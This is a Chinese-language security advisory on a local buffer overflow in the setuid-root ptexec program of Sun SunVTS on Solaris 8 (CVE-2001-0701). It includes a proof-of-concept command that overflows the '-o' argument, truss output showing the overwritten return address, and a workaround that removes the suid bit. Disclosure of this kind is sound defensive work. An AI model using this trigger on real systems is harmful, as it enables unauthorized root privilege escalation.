Solaris ptexec 本地缓冲区溢出漏洞
发布日期:2001-06-20
更新日期:2001-07-03
受影响系统:
Sun SunVTS 4.3
Sun SunVTS 4.2
Sun SunVTS 4.1
Sun SunVTS 4.0
- Sun Solaris 8.0
描述:
BUGTRAQ ID: 2898
CVE(CAN) ID:
CVE-2001-0701
SunVTS是 Sun Validation Test Suite.用来测试OEM的Sun的硬件中的组件,也可以对组件
进行压力测试。
其中包含的一个程序ptexec的"-o"选项存在一个缓冲区溢出漏洞。如果提供一个较长的
参数,可能导致堆栈内存被覆盖,包括返回地址。由于缺省ptexec被设置了setuid root
属性。本地用户可以获取root权限。
<*来源:Pablo Sor (
psor@afip.gov.ar) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Pablo Sor (
psor@afip.gov.ar)提供了如下测试步骤:
# uname -a
SunOS laika 5.8 Generic_108528-07 sun4u sparc SUNW,Ultra-5_10
# > .sunvts_sec_gss
# /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
Segmentation Fault (core dumped)
# truss /opt/SUNWvts/bin/ptexec -o `perl -e 'print "A"x400'`
execve("/opt/SUNWvts/bin/ptexec", 0xFFBEFA44, 0xFFBEFA54) argc = 3
stat("/opt/SUNWvts/bin/ptexec", 0xFFBEF780) = 0
open("/var/ld/ld.config", O_RDONLY) Err#2 ENOENT
open("/usr/lib/librpcsvc.so.1", O_RDONLY) = 3
fstat(3, 0xFFBEF518) = 0
mmap(0x00000000, 8192, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xFF3A0000
[.....]
sigprocmask(SIG_SETMASK, 0xFF23F010, 0x00000000) = 0
sigaction(SIGSEGV, 0xFFBEE388, 0x00000000) = 0
sigprocmask(SIG_SETMASK, 0xFF24ADE0, 0x00000000) = 0
setcontext(0xFFBEE248)
Incurred fault #6, FLTBOUNDS %pc = 0xFF139FF0
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
Received signal #11, SIGSEGV [default]
siginfo: SIGSEGV SEGV_MAPERR addr=0x41414141
*** process killed ***
建议:
临时解决方法:
去掉ptexec的suid属性:
# chmod a-s /opt/SUNWvts/bin/ptexec
厂商补丁:
暂无
浏览次数:3807
严重程度:0(网友投票)